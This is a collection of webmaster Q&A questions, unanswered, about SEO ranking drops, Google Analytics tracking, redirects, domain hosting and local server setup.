{"id":"7233","title":"What terms\/conditions should I have in place for a site popular with children\/teenagers?","text":"I'm working on a site with a forum, for which the current user base is fairly young. For the forum, where do I stand legally with children\/teenagers signing up? For example, I believe Facebook restricts membership to 13+. Should I have this restriction too? (We don't really have the means for any kind of age policing.) Are there any standard terms\/conditions I can add to the site?"}
{"id":"7942","title":"Set goal in funnel not to be neccessary","text":"I have a start page which can link to a discounts page and then three possible extras pages (one of which will definitely be reached) and all three of these lead to a confirmation page. I have set up goals on each page and on the confirmation page I have the following funnel: Step 1: \/G1\/StartPage Step 2: \/G1\/(Extra1|Extra2|Extra3)Page However I want to include the discounts page, but not all customers can see that page. e.g. Step 1: \/G1\/StartPage Step 2: \/G1\/DiscountsPage (may not be read) Step 3: \/G1\/(Extra1|Extra2|Extra3)Page Can I do this in the same funnel, or do I keep my current funnel above, and a create a separate funnel (of which the goal is the confirmation page again) and only include the discounts page?"}
{"id":"22303","title":"Why should we use tags like p, span, hx tags when we can use CSS instead?","text":"Why should we use tags like p, span, hx tags when we can use CSS instead? Is it important from an SEO point of view?"}
{"id":"7239","title":"Phantom activity on MySQL","text":"This is probably just my total lack of MySQL expertise, but is it typical to see lots of phantom activity on a MySQL instance via phpMyAdmin? I have a shared hosting plan through Lithium, and when I log in through the phpMyAdmin console and click on the 'Status' tab, it's showing crazy high numbers for queries. Within an hour of activating my account I had > 1 million queries. At first I thought this was them setting things up, but the number is climbing constantly, averaging > 170\/second. I've got a support ticket in with Lithium, but I thought I'd ask here if this were a MySQL\/shared host thing, because I had the same thing happen with a shared hosting plan through Joyent."}
{"id":"42172","title":"Tracking pages without analytics code","text":"Do you have an idea how Google can track pages on the server without analytics code? The folder is prohibited by `robots.txt` too! I can see the URL of those pages on the real time counter."}
{"id":"42178","title":"Google Analytics - comparing metrics for different cities approach","text":"I receive traffic from a number of different cities across the world, these being: Washington, Bratislava and Belfast. In Google Analytics, I would like to be able to compare a variety of metrics (side by side), however i'm not sure how to go about this in the best way. Am I looking at creating 3 advanced segments, 3 profiles or should I be doing it in one custom report? Or is this even possible in Google Analytics version 5?"}
{"id":"16941","title":"How to diagnose a search engine ranking drop?","text":"**EDIT** : Reworded & Cleaned Up to Ease Understanding There has been a significant drop (90%) in traffic from Google to one of my well-established sites (6+ years) in the last week. Searches show that the top 3 wide keywords all dropped 4 spots. Searches for other keywords do not show ANY results in the first 10 to 25 pages of results, while previously one 1st or 2nd page at most. Since there are 200 factors for ranking, the question really is: **What steps are necessary to figure out what caused such a drop?** There have been no major changes during this period or the last month on the site and certainly not in the homepage which has dropped in rank. Over all the years of running this site and plenty of others, I have never experienced this. There are is duplicate content on my site and I have rigorously used canonical links for the last few years to ensure it is not misinterpreted as such."}
{"id":"58481","title":"Keywords ranking dropped on Google?why?","text":"My website keywords ranking dropped on Google result as suddenly. What to do get ranking for those keywords. Even there is no spam content and spam linking for those keywords. Thank you for your response"}
{"id":"58825","title":"Can site's SERP ranks be lowered by Google because of bad\/toxic backlinks?","text":"The site is not under Google's manual penalty it has no other warnings in GWT about something wrong going on, it is not out of the Google index. But the ranking positions on SERPs are lower than before. Do I need to invest in backlink analysis to detect the bad ones and then disavow them? UPDATE: (to why my question is different than the other topic) I don't need to diagnose other things, as I already took the course of making changes, I clearly asked a specific question about bad backlinks and would like to get an answer to it."}
{"id":"52282","title":"Why is this site's rank dropping?","text":"I built a site for a company a couple of months ago to bring it up to date: Proper coding, SEO, the works. _Their old site was poorly compiled HTML_ * Apparently, they used a service through a company that I'm assuming added back-links all over the place and likely some black hat SEO practices. The site has been #1 for their target search term but now it's at the bottom of page 1. Any ideas why the sudden drop? I'm even doing SEM through google, and that's where it's dropped."}
{"id":"18884","title":"My blog which gets 300+ daily impressions has stopped appearing on the 1st page of Google","text":"I have a blog regarding Placement papers from December 2010. My monthly impressions are around 4000. For the last 2 days, my blog has disappeared from Google search engine result pages. Impressions have reduced drastically. Please check Stat reports:  My blog is still on the search engine because when I search `site: mydomain.com` on Google, I can see my all pages indexed over there… But my pages which used to appear on the first or second pages of Google do not appear any more. Example: If I search with query `GE round 2 code writing test` on bing.com or Yahoo search, the first link on the result page is my blog. But if you do same on Google, my URLs do not appear even on the 1st 3 result pages. I used to get lots of visitors by these search query earlier."}
{"id":"54278","title":"Search ranking for important keywords has gone down drastically","text":"Firstly, we are a small entrepreneurial team of 3 persons and I am more like an amateur webmaster of the company's website as we cannot really afford a technical guy\/department right now. A few weeks earlier, our website traffic and rankings for most keywords decreased overnight. I did a lot of reading henceforth and learned about Penguin 2.1 which people said is the reason for the drop. Something like this had never happened before. Now, I have gone through the entire Google webmaster help section. It says there that if a manual penalty is taken against us, we would notice a message in Manual Actions page. So far, we haven't received any notice from Google for web spam. Some SEO guys I contacted said they found spam links in our backlink profile. I do believe I had mistakenly purchased a cheap link\/SEO scheme when I was yet very new to SEO. This was more than a year back but since then we have been legitimate. Moreover, how do I find out which is a spam link and which is not? Our content is all original, refreshing and the best you will find in our niche. We also have a blog but on a different domain (wordpress.com) from where we send out anchored links to our business website. Is this a good thing to do? Now, how should we proceed and recover our traffic\/rankings. I tried searching in webmasters for a way to reach google and ask them why the traffic has decreased suddenly, but I couldn't find a contact form or something. Can someone please go through our website and help in making things more clear regarding the reason for the drop, along with a solution. Will really appreciate this as I can't get to figure this out and its taking a lot of time. Vaivhav"}
{"id":"21136","title":"Page lost from Google Search","text":"> **Possible Duplicate:** > How to diagnose a search engine ranking drop? I wrote this guide on how to root HTC Desire, http:\/\/techspalace.blogspot.com\/2011\/10\/perm-root-htc-desire- gingerbread-233.html . I had been getting decent visit from Google Search and also the page use to rank in top 3 for queries relating to \"perm root htc desire gingerbread\". But from last few days the comments on the post nearly stopped. Upon investigating I found that Google doesn't show my page any more for such queries. What could have gone wrong? Can anyone please shed some light onto this."}
{"id":"54341","title":"Sudden drop in google position","text":"Our website used to show up on top 10 positions for a competitive keyword till 1 month back but now has drastically dropped down more than 100 positions. What could be the reason?"}
{"id":"64748","title":"Google ranking - Modal views - google analytics events","text":"I modified a site recently : - I added many google analytics events, to better understand user behaviour. - I added also two buttons on almost all the pages of the site. Those buttons show modal-views (I am using bootstrap) with questions about user opinion. This modals views are on almost all pages of the site. After this modification the ranking of the site decreased on google search from the second place to the seconde page :( Is it the events-collected or the model-views added ? If the model-views are the reason, then how to better do similar surveys ? Did you have please similar experience, or explanation to this ? Perhaps it is the effect of panda4 update. In this cas, what can I look for to improve the site. How to debug the problem\/reasons ?"}
{"id":"64634","title":"The sharp decline Statistics of website","text":"My website has had 10 months ago, the statistics are very high. Very high ... But after 10 days of server failure, Marm was 20 times less. I got lost for a long time without making a mistake, do ... I am the source of links that they've hired a writer to pen the final results are seen. But a strange thing: Approximately every two months and was hit again 20 more times and then low again after 10 days! my website url : www.sooran.com (food.sooran.com)   "}
{"id":"68431","title":"Aug 3rd 2014 HUGE DRop in visits","text":"i am not a pro at this but i have built my website using freeway pro and for the past year i have managed to get between 100-130 visits a day to my website but on Aug 3, it dropped to 40… then now 15 a day… I do not know what happened and clearly freaking out on the situation as this is my shop window. There are no warnings or errors in Google Webmaster tools. Please help me out how to understand this issue. Has anything been happening with google around this time??"}
{"id":"53281","title":"Google impressions going up and down, where do I start looking for the problem?","text":"So, my website, had been stable on the number of impressions & clicks for quite a long time, suddenly (8\/14) it dropped about 50%, then it started recovering after two weeks, but then it dropped even more (9\/7), after three days it recovered, but now again it's going down again, with more than 90% loss from the original stable period.  My question is: where do I start? link disavow? how do I diagnose the real problem?"}
{"id":"21153","title":"High Google page ranking lost overnight","text":"> **Possible Duplicate:** > How to diagnose a search engine ranking drop? I had achieved a high ranking for a page on my site of the form: http:\/\/domain.com\/mypage.htm Overnight the page is not even in the first 10 pages of Google, my company has effectively disappeared. I think it is related to a limitation with my domain name hosting company, they no longer support forwarding of pages of the form: http:\/\/domain.com\/mypage.htm which previously redirected to http:\/\/www.domain.com\/mypage.htm However, now it will only redirect to the root page, i.e. http:\/\/www.domain.com I am guessing that this explains why my page http:\/\/domain.com\/mypage.htm is no longer visible to Google. The solution would seem to be to set www.domain.com as my preferred domain in Google with Web Master Tools. However, two weeks after doing this my site is not appearing anywhere in Google. I have also resubmitted my crawl maps (which orignially explicity used the www subdomain) and sent for site reconsideration but no luck. Any suggestion for tools to diagnose or a solution? Or is it just a question of waiting and hoping?"}
{"id":"48258","title":"My site link dissappeared from search results after the link building started","text":"I have a site named keralatourmate.com. While searching One of the important keyword \"kerala honeymoon packages from bangalore\", it dissappeared. Actually it was on the 4th page till yesterday.We started directory submission for this particular keyword 3 days before only. Please tell whther this is a negative effect of directory submission or some other factors."}
{"id":"45305","title":"Why are the rankings of my webpage down on single phrase?","text":"One webpage used to rank better in search. It had more visibility and had site links. But in the last few days, it is down three position on one phase, and it no longer has site links. What caused this to happen?"}
{"id":"57830","title":"google traffic suddenly become very low after website problem","text":"My website was having some Database problem in past few days, due to which my website wasn't available for much time. I fixed it and site is again up. But my per day hits are now just 5-20. Before this problem, site traffic was around 100-200 per day. My most of traffic was from organic search. So why does it happened? Google have stopped indexing my site? Google a day or two ago sent me email that sitemap of site is unreachable so asked me to fetch if from google webmaster tools again, I did so as my site was fixed till then. But still don't see that traffic coming from organic search. So is there a way to monitor that how search engines are handling it and when to do what? Also there was a crawling error but it was only that google wasn't able to find updated and author \"hentry\". So is it something related to it? Also I have just now seen google authorship verification with google plus, so is my site not getting traffic because authorship is required? Or is it something else? How to know and how to get back the previous position?"}
{"id":"58628","title":"Suddenly ranking of my site is thrown from top first page and seems disappeared in the search","text":"This is Prabin Dhakal, manager at nicennaughty.com.np from Nepal,Asia.Need to ask you something regarding our company's website nicennaughty.com.np,it was ranking in the top when typed keyword sex toys in nepal but now it had disappeared suddenly from the entire search while still indexed when typed site:nicennaughty.com.np and there is no message in webmaster tool too.Hope this site is not penalized but may be happen due to link devaluation.Don't know how it happens suddenly,does our site will be back again after few days or need to do something else to make it in the same position. Google search even throw our site while typing nice n naughty nepal and no domain is shown in the first or 2nd page but it was in the top before a week ago.This problem is started from a week ago. Can you please put your kind advise how it happens and will we get our site back automatically after few days or need to do something to fix this."}
{"id":"6235","title":"How to help WikiLeaks remain up and running?","text":"WikiLeaks is under a lot of attack. It has been ousted from DNS servers, Amazon has kicked it out. It is facing massive DDOS attacks. Under these circumstances what can WikiLeaks do to remain afloat?"}
{"id":"29365","title":"How do I automatically redirect people from my Blogger blog?","text":"My blog is a Blogger blog and I'm going to be moving it soon to a .com domain and a Wordpress site. How do I redirect people (and links) to my new site?"}
{"id":"6230","title":"Using @import in CSS files","text":"OK, I get it, CSS files should be grouped to reduce HTTP requests. My question is whether the @import method does a good work? Also, can I somehow group print and screen stylesheets?"}
{"id":"12203","title":"What is the correct order of previous - next buttons in paginated results?","text":"We are developing an XML DITA content system that allows users to view their search results in a paginated form and navigate through these results backwards and forwards, page by page and we have placed the \"next\" and \"previous\" links in this format: **Previous Search Result** **Next Search Result** Our customer has now asked for the order of these two links to be reversed so that the Next Search result precedes the Previous Search result. **Next Search Result** **Previous Search Result** We and our customers are both English speaking companies and we feel that the obvious and correct way to display these links is the back link to the left and the forward link to the right. The same as if you were reading a book and wanted to go to the next page. Or the undo and redo buttons in applications eg Microsoft Word. But, I have seen some people state that the primary function, which is Next, should be the first button\/link as this is what users will be looking for and using most. Also for those users with screen readers or who are tabbing through the page it is easier this way round. But.... \"Previous\" being placed to the left of \"Next\" is such a strongly accepted convention in Western culture that I feel changing it will confuse a considerable proportion of our users. In the same vein, we could ask about the form buttons: clear and submit. I always expect the clear button to be on the left and the submit submit to be on the right but as filling out a form is a linear process and I always Tab through the fields, would it not make more sense to have the submit before clear so you can tab once from the last field and submit? I know this is a bit of a subjective question, but it is key to web usability and I was wondering if anyone can point me in the direction of studies that give credance to either view. Or is there an overwhelming yay or nay from users?"}
{"id":"50690","title":"SEO advise for WordPress WooCommerce","text":"I'm using WooCommerce and have selected \"shop\" page as homepage in WordPress settings. Therefore `http:\/\/www.example.com` and `http:\/\/www.example.com\/shop` are one and the same page. In this case what I should do? Use canonical element in header or 301 redirect? I have read several things about both, but I'm unable to judge what's perfect for this situation. I'm here to seek some advise from SEO experts."}
{"id":"10565","title":"dns hosting - url forwarding - hiding forwarded url?","text":"I have free dns hosting with the domain registrar and I'd like the dns hosted domain www.example.com to display contents of www.myotherlongdomain.com. I only have 301\/302\/iframe forwarding options, however I want to mask the redirected (longdomain) url. If I use frames, users can view the source and see the (longdomain) url the contents are coming from. How can I hide it so it always displays www.example.com? There is no cloaking\/masking option with the registrar. Thanks."}
{"id":"63256","title":"What is the SEO-recommended method for using underscores and dashes in URLs that contain geographic locations?","text":"In reading through this article: > In Subfolder & File Names, Use Dashes, Not Underscores Good: > > Good: http:\/\/www.domain.com\/sub-folder\/file-name.htm > > Bad: http:\/\/www.domain.com\/sub_folder\/file_name.htm In my URL's, I may have one or two city names, ending with the province\/state: `Burnaby_New_Westminister-BC\/[some search term]`. My URL rules currently are defined such that everything after the dash is the prov\/state. Some geographic locations already contain dashes: Notre-Dame-de-Grâce (in QC), which I would convert to ~\/Notre_Dame_de_Grace-QC\/ I thought of placing the prov\/state after another \"\/\", however in some cases the province\/state name may not exist, thus ~\/Notre_Dame_de_Grace\/, so the first term after the domain name contains the geo location {city, city_name- state}. I am now revisiting this, and wondering if this rule set should change, and if so, what is the recommended way of implementing this? **-- UPDATE --** After reviewing this video, I see that I should be using the dashes, rather than underscores. However since I still want to have my geo locations in the first URL section, is there anything wrong with using a double-dash separator - ie: \/city-name--state\/ ?"}
{"id":"63527","title":"Can 302 redirect on WordPress homepage affect SEO?","text":"I manage a website. In order to lead the visitor to the latest post when entering the website, I set a 302 redirect from the homepage URL to the latest post URL. There's 1 to 2 posts a month so the redirection is made manually each time a new post gets published. Despite the website registration on Google it doesn't get indexed at all. After searching for some solution on blogs and forums I understood this issue might be related to the 302 redirection. It's the first time I use redirections on a website, can someone help me?"}
{"id":"63523","title":"Why are 20% of keywords still provided when Google is using HTTPS across the board?","text":"Most of the searches that appear in my analytics are \"not provided\" because Google has encrypted their all searches. However, if all search results are now encrypted with HTTPS protocol then how is Google analytics still able to track some (20%) of the organic keywords details? There are still some keywords appearing in my organic keywords section. So how did Google analytics do this tracking? Does it bypass the HTTPS restrictions for the referrer?"}
{"id":"63250","title":"Does the link we provide on various networking websites counts as a backlink?","text":"Does the blog\/website address we add on various sites like Facebook count as a backlink in the eyes of search engines, especially Google?"}
{"id":"9775","title":"Is it valid to have multiple form input elements with the same name?","text":"Is it valid markup and is it valid to the html\/http spec? If I wanted to have <form> <input name=\"email\" \/> <input name=\"email\" \/> <input name=\"email\" \/> <\/form> is that valid?"}
{"id":"3480","title":"SEO drawbacks of having paid links without nofollow?","text":"I've just signed up to text-link-ads.com, which doesn't appear to use `rel=\"nofollow\"` on the links. After reading a couple of sources it appears to be against their TOS to add nofollow to the links myself. So my question is, what are the downsides of having this type of links? I know Google doesn't like those links, but do they penalize sites for using them?"}
{"id":"10516","title":"Subdomains on WampServer","text":"I'm working on WampServer for development, I've set up the domain tuniguide.local and it works fine with this configuration: DocumentRoot \"D:\\www\\tuniguide\" ServerName tuniguide.local But when I wanted to add a subdomain fr.tuniguide.local I get a 404 Not Found with this configuration: DocumentRoot \"D:\\www\\tuniguide\\fr\" ServerName fr.tuniguide.local It gives me this message: The requested URL \/www\/tuniguide\/index.php was not found on this server. Is there someting that I missed? Thanks."}
{"id":"53564","title":"Find out when a new domain appears in search results","text":"Does anyone know a way to perform the following: I want to know whenever a new domain starts appearing in the google search results for a particular query. For a given google search query, I'd like to receive an alert whenever a new domain pops up and starts appearing in the search results for that query. Alternatively, it would be great if you could just sort google search results by the age of the domain, making it easy to find new sites. As far as I can tell you can only sort by when the page was \"last updated\". Is something like this possible? EDIT: Following John's suggestion of Google Alerts. The problem with Google Alerts is that it sends you any new PAGES appearing in the search results, not just new DOMAINS."}
{"id":"14980","title":"Email Newsletters","text":"I want to send Newsletters to my clients and customers. I tried out a shared hosting account but it was blocked cause of sending about 5000 mails in a day. I then checked various sites that offers this newsletter options but they charge too high, even over 100$ p.m.. Is there an alternate solution. Should I go for a dedicated IP with a small hosting pack? Will that work?"}
{"id":"8865","title":"What exactly does \"keyword\" mean in the context of AdSense CPC?","text":"I have read in a lot of places that CPC depends on the value of \"keywords\". However I don't understand what this means. I will set forward some scenarios. 1. Suppose I run a blog about knitting and this is a low paying niche. However I suddenly write five frontpage blog posts about forex trading and insurance. When people click on the frontpage ads, would I be getting paid for the low CPC knitting content or for the high paying forex content? 2. Suppose somebody finds my webpage by searching for knitting. However the actual content of the landing page is filled with high paying keywords. Is the CPC for this page determined by the low paying search or the high paying content?"}
{"id":"18956","title":"rel=author and rel=me in Wordpress","text":"I came across rel=me and rel=author from joost's blog. I don't know how much value they're going to be in future for SERPS as they look more of eye candy in search than anything beneficial to surfers. It is difficult to use rel=me and rel=author on wordpress blog. Most of the plugins are working with all the themes. I'm using thesis and genesis frameworks and plugins seems to be not working for some of the themes on these frameworks. My Question - Is there any theme-agnostic plugin that does the job for rel=me an rel=author ? Another question- what are the benefits are there for webmasters ?"}
{"id":"8863","title":"What's the best TLD for a personal, international website?","text":"I'd like to register a domain for myself. On it, I'll publish SciFi stories that I'm writing. The stories will be available in English and German (the two languages that I know) but if fans want to translate them, I'm open for other languages as well. When I read `.de`, my impression is \"it's in German, only.\" Which is the best TLD for a non-commercial but language agnostic site? `.info`?"}
{"id":"18954","title":"When to use rel=\"tag\"","text":"I've been looking at the 'Microformat' rel=\"tag\", but am a little confused as to its propper use. From the spec: > By adding rel=\"tag\" to a hyperlink, a page indicates that the destination of > that hyperlink is an author-designated \"tag\" (or keyword\/subject) for the > current page. What do they mean by the 'destination of the hyperlink' is a 'tag'? In what situations might it be used?"}
{"id":"4852","title":"What is the best Apache logs Analyzer?","text":"**What real-time log analyzer can you suggest for Apache access and error logs?** There is a list of web analytics software on wikipedia, but it would be great to hear opinions from people with experience without having to try all of them. Please don't suggest Google Analytics or any other hosted\/javascript analytics suites, already using them, GA is not real-time and it is missing some data that the logs show. For example 404 errors, script errors, the full query- string of the referral, IP addresses, visitor path through the website, etc ..."}
{"id":"38648","title":"Website signaled as containing malware","text":"I've got a nasty problem with one of our websites. It has been signaled to us by Google and other agencies that it contains malware. We weren't able to understand how to cope with the problem. Could anyone drive us in the right direction? UPDATE: I used google webmaster tools to review the suspicious website. And now it says it's ok! Even if I didn't change anything! How could it be? false alarm? UPDATE 2: The site looks infected again..."}
{"id":"24167","title":"Marketplace site development: what skillset am I looking to hire?","text":"I'd like to have a site built by a freelancer, but I don't know how to find the right person because I don't know which expertise\/skill set would be best to look for given the functionality I'd like the site to have. The site will be basically a marketplace for (a certain kind of) sound files. It will need the following: a) users to be able to create logins and (simple) profiles b) users to be able to upload MP3 or WAV files to the marketplace c) users to be able to search for or browse all the files, and preview them for ~10 seconds; files organized by title or category d) users to be able to buy (and then download) the files, and get paid when others purchase those they've uploaded e) a rating system where people that have purchased a file can rate it based on a 5-star system, and also leave a brief (less than 140 character) review; highest rated files are displayed first for duplicates Essentially I'm fairly new to web development (only basic HTML\/CSS) and don't know how to bring a site like this together (i.e. what's necessary or optimal on the front and back ends) - and don't even know what to look for in a freelance web developer. Any suggestions would be MUCH appreciated. Thanks."}
{"id":"24161","title":"Can I buy a domain from one company and use it at another web host?","text":"I've been out of the loop of this kind of stuff for a while but can someone please explain to me how buying a domain name and then getting it hosted works. Let's say if for example I bought a domain name `xyz.com` from `godaddy.com`. Could I then purchase the hosting services from a different hosting company and still use the domain I bought from `godaddy.com`?"}
{"id":"8868","title":"Does the position of the content in the source make a difference to SEO?","text":"Is a site penalised if the first propper (human readable) content comes after a lot of structural HTML code? Is there any benefit to having the text content come earlier in the source (e.g. less HTML before it)? Thanks."}
{"id":"28543","title":"How To Track \"Similar Product\/Page\" Links In Internal Site","text":"So I just created a new widget that would show up in a product page in my site. This widget will show several products similar to the product that is displayed in the current page. The purpose is to help users compare similar products. Let's say in the product page A `http:\/\/domain\/products\/A` The Similar Products widget will show * `http:\/\/domain\/products\/B` * `http:\/\/domain\/products\/C` * `http:\/\/domain\/products\/D` * `http:\/\/domain\/products\/E` My question is how to track this \" **Product B page were visited X times from Product A page via Similar Product widget** \"? (And there is also chance that Product B will show up in the widget on Product C page) I have this idea using the Event feature from Google Analytics. But I'm still not sure if it is or what is the common best practice for this."}
{"id":"812","title":"If I have a page that gets a lot of StumbleUpon traffic, will that traffic fall if I move it?","text":"Say I have a page that gets a lot of traffic via StumbleUpon. It's an ancient page, and I might want to move it to another site as part reorganizing my old site. I intend to keep the content identical, other than maybe a slim header or footer. If I put in a `permanent 301` redirect, will my page be penalized by StumbleUpon or other social bookmarking sites? Will I lose the existing traffic?"}
{"id":"50274","title":"Using Google Tag Manager to define the page type","text":"So, I am looking to add a tag that I want to use for A\/B testing, however we don't have a page-type URL structure. Fortunately the tool can recognise page type if I pass it by Javascript. <script type=\"text\/javascript\"> window.isProductPage = true; <\/script> I have been told to use the above, I have created the script in Google Tag Manager (GTM), however I now need to know how to make this run on those pages in GTM. I have looked through the code and there are div class that are unique to each page, can I use this as an indication of page type?"}
{"id":"815","title":"We changed our URL and our impressions dropped almost 100%","text":"The company I worked for changed their domain about a month ago and updated the URLs for all of the pages. We mostly removed the .aspx from the ends and decreased the depth of many of our pages. We created a sitemap.xml for the new site and added 301 redirects from the old pages to the new within the site. We did update our address through Googles Webmaster tool so they know. Once Google crawled our site we saw a drop in our Google imprints from nearly 1000 to just 20-30 a day. We know we missed a few redirects that have now been fixed (probably less than 10%) but we are still not going back up in impressions. Is there anything we should be looking into or is this just a natural occurrence caused by us switching pages and domains?"}
{"id":"52547","title":"How Come This Website Is Not Suffering From Duplicate Content Issues?","text":"If you visit the following website http:\/\/onedesigncompany.com\/ and scroll down then you'll notice that the URL is being changed in the address bar. So, isn't it a duplicate content issue? Is not multiple URLs pointing to the same page with exactly same content? How come it is not suffering from duplicate content issue? Thanks"}
{"id":"43669","title":"Godaddy redirection for domain URL","text":"I have mydomain.co registered with Godaddy. In the zone editor I have the @ record pointing to my cloud server. I would now like to redirect mydomain.co\/blog to a different server where I'll host a wordpress blog. I cannot figure out how to do this on Godaddy. All Godaddy support pages describe buttons that do not exist on my domain control panel. I'm sure my question is a dupe, but I just can't find the original."}
{"id":"49652","title":"How long should I wait before redesigning a website?","text":"I am the webmaster of a local news website which is online for 6 months now and I considered redesigning it. The website is running on a Wordpress CMS, so all I had to do is to apply a new theme. But instead, I just tweaked fonts, text sizes and color schemes for more reading comfort. Why tweaking instead of redesigning ? Because I thought that it may be _harmful_ to user-engagement if readers would have to rediscover the site all over again, only 6 months after it's launch (not to mention all the work just to put everything in order again). Does redesigning a website frequently good or bad ? How long should I wait before redesigning the site (regardless of platform and content types) ?"}
{"id":"53934","title":"How does removing pages from a site affect Google SEO?","text":"I have been told by one of my clients that Google must be notified if you intend to remove pages (e.g. discontinued product pages) from a site, because Google will penalize your search results if you remove those pages without notifying them. Is that true? I thought that Google would simply update its search results on the next crawl. He also says that there is a way to create a diff of the old sitemap file and the new sitemap file, and submit that to Google as the notification of deleted pages. Is any (or all) of this really necessary, and will it affect his SEO either way? I have control over the website programming (it is an ASP.NET MVC 1.0 site). Should I just mark deleted pages in the database, and make them respond with `410 gone`, as described here?"}
{"id":"26838","title":"Do I need SSL for \"Coming Soon\" email signup form?","text":"My website is a few months from going live, and marketing efforts are beginning. I would like to put up a short _coming soon_ page with an email field to sign up for updates. Does this require an SSL certificate? Is there a rule of thumb you use to determine when to use an SSL certificate and when not to?"}
{"id":"24157","title":"Hosting my own website on apache2, what information do I need from my domain registrar (bluehost)","text":"I have lamp-server installed and am ready (and excited) to host a domain I purchased from bluehost on the server in my room. I have a few other things set up like openssh. What information do I need to get from my domain registrar and what files do I need to change in apache2?"}
{"id":"67570","title":"How can I block traffic from this referrer?","text":"I'm getting a lot of spam referral traffic from `semalt.semalt.com\/referral` on my website. I took a look at the link and there’s very little information about this. The number of website visits is 185 this month, and they result in a 100% bounce rate. So how I can block this website?"}
{"id":"17293","title":"Why is this stack over flow article comes up on first page of google just typing 3 keywords?","text":"How to increase your site's position in google? In this above article. when I entered just three keywords in google: increase site position This article comes on the first place. Please help me understand the reasons as why only just by these three keywords? **My observations** : I researched and observed that the phrase \"increase position\" have global searches of 110 (by doing phrase type search in google keyword tool) and very low competition. Does it means that the article is covering users who use increase position as a phrase to search answers for their site making them use the three keywords (increase, site, position) to ask the query."}
{"id":"49786","title":"Connecting to my local WampServer from mobile?","text":"I want to make an app for file transfer between mobile and a web server. I don't have web space yet and want to simulate that. The mobile part is ok. I have the PHP code too, Is there anyway I can run the PHP code to accept the file from the mobile by the PHP code and save the file to the WAMP server on my computer?"}
{"id":"31066","title":"Flipping text is good for SEO?","text":"My client's name company has a flipped letter on its name, so for example \"PEOPLE\" the P is flipped, I managed to flip the P with 2 span tags, but now I am thinking to do this for SEO reasons is not good, because of the SPANS. I have the feeling the search engines might not underestand a flipped P, and it is better just use a normal name. What do you think? thanks, the flip html is `<span class=\"flip\"><span>P<\/span><\/span>`"}
{"id":"57986","title":"What is the advantage of using post dates in my permalink structures?","text":"I am trying to achieve the best permalink structure for my site. It will be a multi-author site where users will be posting artciles on a daily basis. I want the permalink structure to be as follows: http:\/\/sitename.com\/username\/postname However, I have seen many sites that put the post date in the permalink like this: http:\/\/sitename.com\/username\/postdate\/postname What would you advice me to do? Will I get any advanteges on using the post date in my permalink strcuture regarding SEO? PS: I already checked out this answer What is the best WordPress permalink structure for a website with daily new posts and updates? but I was not happy with it."}
{"id":"55421","title":"Setting an expiry date or a maximum age in the HTTP headers","text":"I just finished a website that I designed and submitted it to Google PageSpeed Insights for performance reviews, and this is the results I got:  It says I need to set expiry date or a maximum age in the the HTTP headers, but I don't know how it is possible to set the expiry date for anything other than cookies\/sessions, so I have no clue what this means or how to do it."}
{"id":"1704","title":"Thumbnails for videos in multiple formats?","text":"I have some intranet training videos made over the years in a bunch of formats (AVI, WMV, MOV, RealPlayer) and would like to provide something like a preview function - maybe a thumbnail animated GIF with a few representative screens, or maybe a thumbnail sheet I can show the user with an image every few seconds of video. Is there an easy image tool I can use that can create such things? Platform agnostic would be great, but it's a one off (for now, haha), so Windows, Mac, or Linux would be fine. Thanks."}
{"id":"5262","title":"How to let Google read but don't display results from page","text":"If I have a page which I want to allow Google to crawl to find links but not display in search results, is there any way to do that?"}
{"id":"6546","title":"Moving from a static site to a CMS with new URLs and meta-data for pages","text":"I am in the process of rebuilding a site from static pages to a CMS which will be using mod_rewrite to generate new page URLs. In this process our marketing people and myself have decided to tidy up the descriptions, keywords and titles. Eg: a page which who's URL is currently \"website-name\/about_us.html\" and has a title of \"website-name - something not quite page specific\" will change to \"website-name\/about-us\/\" and title: \"about us - website-name\" and may have a few keywords and the description changed. Our goal with updating the meta data is to improve our page rankings and try to keep in line with some best practices for SEO. Though our current page rankings are quite good in many aspects, there is room for improvement. All of the pages will also have content changes (like rearranging heading tags, new menu on all pages, new content in footer, extra pieces of dynamic content relating to other pages). In this new site process I plan to use 301 redirects for all the old URLs pointing to the new URLs. My question is what can I expect to happen to the page rankings in Google, in the sort term and long term? Will this be like kicking off a new site which will have to build up trust over time or will the original page rankings have affect?"}
{"id":"14180","title":"Search engines that do _not_ respect robots.txt?","text":"Are there any search engines that do not care about robots.txt?"}
{"id":"4572","title":"Why do some bad websites rank well?","text":"Consider the following scenario: you are pitching SEO\/Website Optimisation to a prospective client and you explain to them the importance of great copy and content, how acquiring links (ethically) can increase page rank, why the quality of the HTML build matters (H1, H2 tags, w3c validation etc), why keyword research is beneficial, you may drop in a few Google Webmaster Guideline or Matt Cutts references to back up your claims and rubbish the \"back hat\" approach as being no longer effective for good measure. Your advice is ethical and in the eyes of best practices, spot on. Then, the client points out to you some of their long established competitors on Google and you see these competitor websites ranking in the top spots (1 to 3) for medium to highly competitive search phrases that your client wants to compete for. These websites totally contradict your ethical approach and pretty much violate every best practice previously noted. They even out perform other \"white hat\" competitors who are in accordance with the above guidelines. I experienced this today. One of these well ranking websites had: * About six microsites with more or less the same copy and a _slightly_ varied layout * Little or not textual content * I would almost say duplicate content across the sites, but there was so little of it it could barely qualify for being duplicate * All the content in Flash (with a music track that kicked in on each page load, not so much of an SEO issue - but it helps paint the picture) * Keyword stuffing behind the Flash file with a bunch of black text on black background in the style of keyword 1 keyword 2,keyword1,keyword 2,keyword 2 keyword 3 and so on... * The exact keyword stuffed combination present on every page of the website * A bunch of clearly self made links from poor quality forums and directories with little or no Page Rank * Links exchanged across the microsites How do you explain your way out of this when this hard evidence is sat in front of you undermining your great pitch?"}
{"id":"34383","title":"Is there any alternative to web analytics websites?","text":"> **Possible Duplicate:** > Self hosted Web Analytics like urchin There are sites that provide web analytics solutions. But I don not want dependence to external sites and I want embed an analyzer in my PHP-based website. Is there such off-the-shelf solution so I can embed it in my site with no dependency to other sites? What is pros and cons of each one? Which one is most extensible?"}
{"id":"15855","title":"Looking for tool like google insights\/trends but not limited to 5 comparison","text":"Looking for tool like google insights\/trends but not limited to 5 item per comparison + 50-100 request per account for 24 hours. My Task (not possible to do with google trends\/insights): take 350 keywords and sort them according search rating. (I am doing that with php and not manually) Thanks in advance"}
{"id":"41153","title":"Copy Virtualmin's scheduled backup settings","text":"Just wondering if there is a quick way to copy all of my scheduled backup settings from one virtualmin server to another? I have migrated all of the websites across with no problems, but though I would check if anyone knows how to import the backup settings or has a quicker way of setting them up? I have quite a lot of separate backups configured, e.g. for each day of the week (Monday, Tuesday, etc) and each month (Jan, Feb, etc)."}
